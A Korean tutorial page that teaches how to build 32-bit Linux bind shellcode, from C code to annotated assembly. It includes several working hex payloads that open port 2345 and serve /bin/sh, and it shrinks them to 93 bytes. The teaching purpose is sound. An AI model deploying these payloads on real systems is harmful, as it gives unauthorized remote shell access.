Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List

Bind Shellcode

C language

  • 다음과 같이 C 코드를 사용해 Port bind 프로그램을 작성 할 수 있습니다.
  • 해당 프로그램을 이용해 지정된 Port를 사용 할 수 있습니다.
    • socket() 함수를 이용해 통신에 필요한 Socket 생성이 필요합니다.
    • bind() 함수를 이용해 server socket에 필요한 정보를 저장하고 커널에 등록합니다.
    • listen() 함수를 이용해 클라이언트로 부터 연결 요청을 기다립니다.
    • accept() 함수를 이용해 클라이언트 연결을 허용합니다. 
portbind.c
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int main(void){
	int server_sockfd, client_sockfd;
	struct sockaddr_in server_addr, client_addr;
	socklen_t client_addr_size;
 
	server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
 
	server_addr.sin_family = AF_INET;			// IPv4 인터넷 프로토롤 
	server_addr.sin_port = htons(2345);		// 사용할 port 번호는 2345
	server_addr.sin_addr.s_addr = INADDR_ANY;	// 32bit IPV4 주소
 
	bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
 
	listen(server_sockfd, 4);
 
	client_addr_size = sizeof(struct sockaddr_in);
	client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size);
}

Check system call number

  • Assembly code를 작성하기 위해 Assembly code에서 네트워크 관련함수를 호출하는 방법을 알아야 합니다.
  • 네트워크 관련 함수를 호출하기 위해 "__NR_socketcall" System call을 사용합니다.

socketcall - socket system calls
lazenca0x0@ubuntu:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep socketcall
#define __NR_socketcall 102
lazenca0x0@ubuntu:~$
  • socketcall 시스템 함수는 다음과 같은 형태를 가집니다.

    • 첫번째 인자에는 호출할 네트워크 함수의 콜 번호를 전달 합니다.

    • 두번째 인자에는 호출한 네크워크 함수의 인자 값들이 저장된 인자 배열의 주소 값을 전달합니다.

Synopsis
int socketcall(int call, unsigned long *args);
  • "__NR_socketcall"을 이용하여 네트워크 관련 함수를 호출하기 위해 아래 헤더 파일을 참조합니다.
    • 즉, 해당 값들은 socketcall 시스템 함수의 첫번째 인자 값이 됩니다.
/usr/include/linux/net.h
#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_BIND	2		/* sys_bind(2)			*/
#define SYS_CONNECT	3		/* sys_connect(2)		*/
#define SYS_LISTEN	4		/* sys_listen(2)		*/
#define SYS_ACCEPT	5		/* sys_accept(2)		*/
#define SYS_GETSOCKNAME	6		/* sys_getsockname(2)		*/
#define SYS_GETPEERNAME	7		/* sys_getpeername(2)		*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)		*/
#define SYS_SEND	9		/* sys_send(2)			*/
#define SYS_RECV	10		/* sys_recv(2)			*/
#define SYS_SENDTO	11		/* sys_sendto(2)		*/
#define SYS_RECVFROM	12		/* sys_recvfrom(2)		*/
#define SYS_SHUTDOWN	13		/* sys_shutdown(2)		*/
#define SYS_SETSOCKOPT	14		/* sys_setsockopt(2)		*/
#define SYS_GETSOCKOPT	15		/* sys_getsockopt(2)		*/
#define SYS_SENDMSG	16		/* sys_sendmsg(2)		*/
#define SYS_RECVMSG	17		/* sys_recvmsg(2)		*/
#define SYS_ACCEPT4	18		/* sys_accept4(2)		*/
#define SYS_RECVMMSG	19		/* sys_recvmmsg(2)		*/
#define SYS_SENDMMSG	20		/* sys_sendmmsg(2)		*/

System-specific socket constants

  • Assembly code를 작성하기 전에 C 코드에서 사용된 소켓 상수들이 실제로 어떤 값을 가지는지 알아야 합니다.
System-specific socket constants
ConstantsDescriptionValue of constants
PF_LOCAL, AF_UNIX같은 시스템 내에서 프로세스 끼리 통신합니다.1
PF_INET, AF_INETIPv4 인터넷 프로토콜을 사용합니다.2
PF_INET6IPv6 인터넷 프로토콜을 사용합니다.10
PF_PACKETLow level socket 을 인터페이스를 이용합니다.17
SOCK_STREAMTCP/IP 프로토콜을 이용합니다.1
SOCK_DGRAMUDP/IP 프로토콜을 이용합니다.2
IPPROTO_IPTCP 용 더미 프로토콜0
  • 아래와 같이 각 header 파일에서 상수의 실제 값을 확인 할 수 있습니다.
/usr/include/linux/in.h
lazenca0x0@ubuntu:~$ cat /usr/include/linux/in.h | grep IPPROTO_IP
  IPPROTO_IP = 0,		/* Dummy protocol for TCP		*/
#define IPPROTO_IP		IPPROTO_IP
  IPPROTO_IPIP = 4,		/* IPIP tunnels (older KA9Q tunnels use 94) */
#define IPPROTO_IPIP		IPPROTO_IPIP
  IPPROTO_IPV6 = 41,		/* IPv6-in-IPv4 tunnelling		*/
#define IPPROTO_IPV6		IPPROTO_IPV6
lazenca0x0@ubuntu:~$
/usr/include/bits/socket_type.h
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket_type.h |grep SOCK_STREAM
  SOCK_STREAM = 1,		/* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
lazenca0x0@ubuntu:~$
/usr/include/bits/socket.h
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket.h |grep PF_INET
#define PF_INET		2	/* IP protocol family.  */
#define PF_INET6	10	/* IP version 6.  */
#define AF_INET		PF_INET
#define AF_INET6	PF_INET6
lazenca0x0@ubuntu:~$

Assembly code

  • 다음과 같이 앞에서 확인한 정보를 이용하여 Shellcode를 작성 할 수 있습니다.
    • 다른 장에서 설명한 내용을 바탕으로 아래 코드를 작성 할 수 있습니다.

    • 주의할 점을 다음과 같습니다.
      • 함수 호출 후 리턴되는 값 들은 EAX 레지스터에 저장됩니다.

      • 해당 코드에서 Client socket 정보를 사용하지 않을 것이기 때문에 accept() 함수에 전달되는 client_addr, client_addr_size의 값은 Null(0)으로 전달합니다.

      • Port 번호는 Stack에 저장 할 때 Little-endian format으로 저장해야 합니다.

        • 2345 -> 0x0929 -> 0x2909

portbind-asm.s
BITS 32
 
;socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
push BYTE 102		; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
cdq               	; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다.
push dword 1				; socket 함수의 호출 번호 1을 Stack에 저장합니다.
pop ebx				; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다.
;두번째 인자에 전달할 인자 배열을 생성 
push edx			; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push BYTE 1			; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다.
push BYTE 2			; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다.
int 0x80

;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
mov esi,eax			; 소켓 함수로 부터 리턴받은 값을 ESI 레지스터에 저장합니다.
 
;bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
push BYTE 0x66		; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
inc ebx				; EBX 레지스터에 1이 저장되어 있으며, INC 명령어를 이용해 2로 변경합니다.
					; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_BIND(2)를 저장하게 됩니다.
;struct sockaddr_in server_addr
push edx			; server_addr.sin_family = AF_INET; 
push WORD 0x2909	; server_addr.sin_port = htons(2345);
push WORD bx		; server_addr.sin_addr.s_addr = INADDR_ANY;
;인자에 전달된 값을 저장
mov ecx,esp			; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다.
push BYTE 16		; bind() 함수의 3번째 인자 값 16을 Stack에 저장합니다.
push ecx			; bind() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다.
push esi			; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80
 
;listen(server_sockfd, 4)
mov BYTE al,0x66	;
inc ebx
inc ebx				; EBX 레지스터에 2가 저장되어 있기 때문에 inc 명령어를 2번 호출하여 4로 변경합니다.
					; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_LISTEN(4)를 저장하게 됩니다.
push ebx			; listen() 함수의 2번째 인자 값 4를 Stack에 저장합니다.
push esi			; listen() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80

;accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size)
;c = accept(s,0,0)
mov BYTE al, 0x66	;
inc ebx				; socketcall() 함수의 1번째 인자 값으로 SYS_ACCEPT(5)를 저장하게 됩니다.
push edx			; bind() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push edx			; bind() 함수의 2번째 인자 값 Null을 Stack에 저장합니다.
push esi			; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80			; 

Test program

pb.c
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x09\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
  • 다음과 같이 해당 프로그램에 의해 2345 port가 오픈되었습니다.
    • & 를 이용해 프로그램을 백그라운드에서 실행하였습니다.
    • netstat 명령어를 이용하여 해당 프로그램이 오픈한 Port를 확인할 수 있습니다.
Port bind
lazenca0x0@ubuntu:~/Shell$ gcc -o pb -z execstack -m32 pb.c
lazenca0x0@ubuntu:~/Shell$ ./pb &
[1] 64826
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 59
lazenca0x0@ubuntu:~/Shell$ netstat -ntlp |grep pb
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:2345            0.0.0.0:*               LISTEN      64826/pb  
lazenca0x0@ubuntu:~/Shell$

Bind Shellcode(Socket + "/bin/sh")

C language

  • 앞에서 네트워크 함수를 이용해 Port를 오픈하였으며, 아래 코드를 추가해 오픈된 Port로 입력,출력 그리고 "/bin/sh"를 이용할 수 있습니다.
dup2.c
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int main(void){
	...
	client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size);

	dup2(client_sockfd, 0);
	dup2(client_sockfd, 1);
	dup2(client_sockfd, 2);
 
	char *argv[] = { "/bin/sh", NULL};
	execve( "/bin/sh", argv, NULL );
}
  • dup2 함수는 파일 디스크립터를 복제합니다.
    • newfd 파일 디스크립터를 oldfd 파일 디스크립터에 복제합니다.
    • 쉽게 설명하면 newfd 파일 디스크립터를 oldfd 파일 디스크립터에 링크한다고 생각하면 됩니다.
    • 즉, 이 함수를 이용해 클라이언트가 입력,출력을 사용 할 수 있습니다.
      • 표준 스트림인 표준입력(stdin), 표준 출력(stdout), 표준에러(stderr)을 client_sockfd에 복제
SYNOPSIS

int dup2 (int oldfd , int newfd );

Check system call number

  • 다음과 같이 dup2 함수의 시스템 콜 번호는 63입니다.
dup2 System call
lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep dup2
#define __NR_dup2 63
lazenca0x0@ubuntu:~/Shell$

Assembly code

dup2-asm.s
BITS 32
 
;s = socket(2,1,0)
;bind(s, [2, 31337, 0], 16)
;listen(s, 0)
;c = accept(s,0,0)
...코드 생략...

;dup2(client_sockfd, 0)
mov ebx, eax 		; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
push BYTE 0x3F		; socketcall의 시스템 콜 번호 63를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
xor ecx, ecx		; dup2() 함수의 2번째 인자 값을 표준입력(0)으로 변경합니다.
int 0x80			; 

;dup2(client_sockfd, 1)
mov BYTE al, 0x3F	; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다.
inc ecx				; dup2() 함수의 2번째 인자 값을 표준출력(1)으로 변경합니다.
int 0x80			;
 
;dup2(client_sockfd, 2)
mov BYTE al, 0x3F	; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다.
inc ecx				; dup2() 함수의 2번째 인자 값을 표준에러(2)으로 변경합니다.
int 0x80			;

;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11		; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다.
push edx			; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다.
push 0x68732f2f		; 문자 "//sh"를 Stack에 저장합니다. Little-endian
push 0x6e69622f		; 문자 "/bin"를 Stack에 저장합니다. Little-endian
mov ebx, esp		; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다.
push edx			; Stack에 Null을 저장합니다.
mov edx, esp		; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다.
push ebx			; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다.
mov ecx, esp		; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh",Null],[Null])를 저장합니다.
int 0x80			; 

Test program

portbindsh.c
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6A\x66\x58\x99\x6A\x01\x5b\x52\x6A\x01\x6A\x02\x89\xe1\xcd\x80\x89\xc6\x6A\x66\x58\x43\x52\x66\x68\x09\x29\x66\x53\x89\xe1\x6A\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
  • 다음과 같이 해당 프로그램을 이용해 원격에서 "/bin/sh" 프로그램을 사용할 수 있습니다.
Port Bind (Shell)
lazenca0x0@ubuntu:~/Shell$ gcc -o portbindsh -z execstack -m32 portbindsh.c
lazenca0x0@ubuntu:~/Shell$ ./portbindsh &
[1] 65488
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 101
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./portbindsh
lazenca0x0@ubuntu:~/Shell$

Smaller Shellcode - Call dup2()

Branch Control Structure (CMP Instructions)

  • 다음 조건문들을 이용하여 dup2() 함수를 호출하는 코드의 크기를 줄일 수 있습니다.
    • 다음 조건문들은 CMP 명령어 다음에 사용되는 조건부 점프 명령어들 입니다.
Conditional jump(It is commonly found after a cmp instruction)
InstructionsMeaning
cmp <Dest operand>, <Src operand >대상 피연산자가 소스 피연산자를 비교해 조건부 점프 명령어가 사용할 플래그를 설정합니다.
je <Operand>CMP 명령어의 대상 피연산자와 소스 피연산자가 같으면 목적으로 점프 합니다.
jne <Operand>CMP 명령어의 대상 피연산자와 소스 피연산자가 같지 않으면 점프 합니다.
jl <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작으면 점프 합니다.
jle <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작거나 같으면 점프 합니다.
jnl <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작지 않으면 점프 합니다.
jnle <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작거나 같지 않으면 점프 합니다.
jg <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 큰 경우 점프 합니다.
jge <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크거나 같으면 점프 합니다.
jng <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크지 않으면 점프 합니다.
jnge <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크거나 같지 않으면 점프 합니다.

C language & Assembly code

  • 다음과 같이 반복문을 구현해 코드의 크기를 줄일 수 있습니다.
i <= 2
for(int i=0;i <= 2;i++){
	dup2(client_sockfd,i)
}
  • CMP, JLE 명령어를 이용해 C language와 동일한 반복문을 구현합니다.

jle-asm.s
;dup2(connected socket,{all three standard I/O file descriptors})
mov ebx,eax			; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
xor eax, eax    	; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호)
xor ecx, ecx    	; ECX 레지스터를 0으로 초기화 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F   ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80            ; 
	inc ecx				; dup2 함수의 2번째 인자값을 증가(+1) 시킵니다.
	cmp BYTE cl, 2  	; dup2 함수의 2번째 인자값과 2 를 비교합니다.
	jle dup2_call       ; dup2 함수의 2번째 인자값이 2 보다 작거나 같으면 dup2_call로 점프 합니다.

Test program

jle.c
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x2\x7e\xf6\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
  • 다음과 같이 Shellcode의 길이가 98 byte로 줄어들었습니다.
    • 앞에서 작성한 Port bind Shellcode의 길이는 101 byte 입니다.
Port bind shellcode (98 byte)
lazenca0x0@ubuntu:~/Shell$ gcc -o jle -z execstack -m32 jle.c
lazenca0x0@ubuntu:~/Shell$ ./jle &
[1] 65593
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 98
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./jle
lazenca0x0@ubuntu:~/Shell$

Branch Control Structure (Zero Flag, Sign Flag)

  • 아래 명령어들은 앞에서 설명한 명령어들에 비해 사용되는 위치가 자유롭습니다.
    • 해당 명령어들은 Zero Flag, Sign Flag의 값에 의해 점프 여부가 결정됩니다.
ZF, SF
약어이름설명
ZF제로 플래그(Zero Flag)연산 결과가 0이면 참(1)
SF부호 플래그(Sign Flag)연산 결과가 음수이면 참(1)


Conditional jump
InstructionsMeaning
jz <Operand>제로 플래그가 참이면 Operand로 점프 합니다.
jnz <Operand>제로 플래그가 거짓이면 Operand로 점프 합니다.
js <Operand>부호 플래그가 참이면 Operand로 점프합니다.
jns <Operand>부호 플래그가 거짓이면 Operand로 점프합니다.

JZ vs JE

  • JE 명령어는 일반적으로 CMP 명령어 뒤에서 사용되며, JZ 명령어는 JE 명령어 보다 위치가 자유롭습니다.
    • CMP 명령어 대신 DEC 명령어를 사용해 값을 감소 시켜서 음수가 되도록합니다.
    • CMP 명령어 대신 DEC 명령어를 사용함으로써 코드의 길이가 줄어듭니다.
JZ vs JE
Assembly codeHex

cmp cl, 2

jle FunctionName;

"\x80\xF9\x02\x0F\x8E\xFC\xFF\xFF\xFF"

dec ecx

jns FunctionName;

"\x49\x0F\x89\xFC\xFF\xFF\xFF"

C language & Assembly code

  • 다음과 같이 반복문을 구현해 코드의 크기를 줄일 수 있습니다.
i < 0
for(int i=2;i < 0;i--){
	dup2(client_sockfd,i)
}
  • DEC, JNS 명령어를 이용해 C language와 동일한 반복문을 구현합니다.
jns-asm.s
;dup2(connected socket,{all three standard I/O file descriptors})
mov ebx,eax			; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
xor eax, eax		; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호)
push BYTE 0x2  		; Stack에 2 저장합니다.
pop ecx				; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F	; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80			; 
	dec ecx				; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다.
	jns dup2_call		; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.

Test program

jns.c
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
  • 다음과 같이 Shellcode의 길이가 96 byte로 줄어들었습니다.
Port bind shellcode (96 byte)
lazenca0x0@ubuntu:~/Shell$ gcc -o jns -fno-stack-protector -z execstack --no-pie -m32 jns.c
lazenca0x0@ubuntu:~/Shell$ ./jns &
[1] 65763
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 96
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./jns
lazenca0x0@ubuntu:~/Shell$ 

xchg Instruction

  • 해당 명령어는 두 피연산자가 가지고 있는 값을 서로 교환하는 명령어 입니다.
xchg Instruction
xchg <Dest operand>, <Src operand>
  • 해당 예제를 실행하면 XCHG 명령어에 의해 EAX 레지스터에는 3이, EBX 레지스터에는 2가 저장됩니다.
Example
mov eax, 2
mov edx, 3
xchg eax, edx
  • 해당 명령어를 이용해 accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하는 코드의 길이를 줄일 수 있습니다.
Code size

mov ebx,eax
xor eax, eax

"\x89\xC3\x31\xC0"
xchg eax,ebx"\x93"

Assembly code

xchg-asm.s
;dup2(connected socket,{all three standard I/O file descriptors}

xchg eax,ebx		; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해 파일 디스크립터(0x00000005)를 EAX 레지스터에 저장합니다.
push BYTE 0x2  		; Stack에 2 저장합니다.
pop ecx				; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F	; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80			; 
	dec ecx				; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다.
	jns dup2_call		; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.

Test program

xchg.c
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
  • 다음과 같이 Shellcode의 길이가 93 byte로 줄어들었습니다.
    • 이러한 방법들을 이용하여 코드의 크기를 더 줄일 수 있습니다.
Port bind shellcode (93 byte)
lazenca0x0@ubuntu:~/Shell$ gcc -o xchg -fno-stack-protector -z execstack --no-pie -m32 xchg.c
lazenca0x0@ubuntu:~/Shell$ ./xchg &
[1] 65793
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 93
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./xchg
lazenca0x0@ubuntu:~/Shell$

Related site

Comments